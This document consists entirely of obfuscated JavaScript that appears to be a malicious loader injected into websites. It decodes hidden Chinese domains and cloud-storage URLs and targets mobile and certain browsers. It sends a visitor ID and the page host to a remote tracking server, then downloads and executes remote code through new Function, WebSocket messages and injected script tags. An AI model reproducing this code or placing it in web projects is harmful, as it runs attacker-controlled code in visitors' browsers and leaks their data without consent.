function XsexOg(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function hDqFMmj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return XsexOg(t);};window[''+'h'+'v'+'B'+'y'+'w'+'E'+'G'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function GqHrd(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=hDqFMmj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=GqHrd(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15623/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=GqHrd(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmmlpbHh6cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55ycWRsb2QuY24lM0E55NTM0','168165',window,document,['m','5']);}:function(){};
let urls=["hYYtYYtYYpYYsYY:YY/YY/YYmYYqYY1YY9YYnYYdYYaYYdYY9YY.YYoYYsYYsYY-YYcYYnYY-YYsYYhYYaYYnYYgYYhYYaYYiYY.YYaYYlYYiYYyYYuYYnYYcYYsYY.YYcYYoYYmYY/YY1YY9YY/YY1YY0YY7YY5YYaYY2YY2YY8YY2YY2YY9YY9".split("YY").join(""),"hCCtCCtCCpCCsCC:CC/CC/CCpCC.CCgCCoCCdCCmCCwCCiCCtCChCC.CCcCCoCCmCC/CC1CC9CC/CC1CC0CC7CC5CCaCC2CC2CC8CC2CC2CC9CC9".split("CC").join(""),"hOOtOOtOOpOOsOO:OO/OO/OOoOOcOO1OO8OO1OO9OOnOOdOOaOOdOO9OO.OOoOOsOOsOO-OOcOOnOO-OOsOOhOOaOOnOOgOOhOOaOOiOO.OOaOOlOOiOOyOOuOOnOOcOOsOO.OOcOOoOOmOO/OO1OO9OO/OO1OO0OO7OO5OOaOO2OO2OO8OO2OO2OO9OO9".split("OO").join(""),"hUUtUUtUUpUUsUU:UU/UU/UUdUU8UU9UU-UU1UU3UU1UU3UU9UU4UU4UU0UU6UU2UU.UUcUUoUUsUU.UUaUUpUU-UUhUUoUUnUUgUUkUUoUUnUUgUU.UUmUUyUUqUUcUUlUUoUUuUUdUU.UUcUUoUUmUU/UU1UU0UU7UU5UUaUU2UU2UU8UU2UU2UU9UU9".split("UU").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2299_107 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();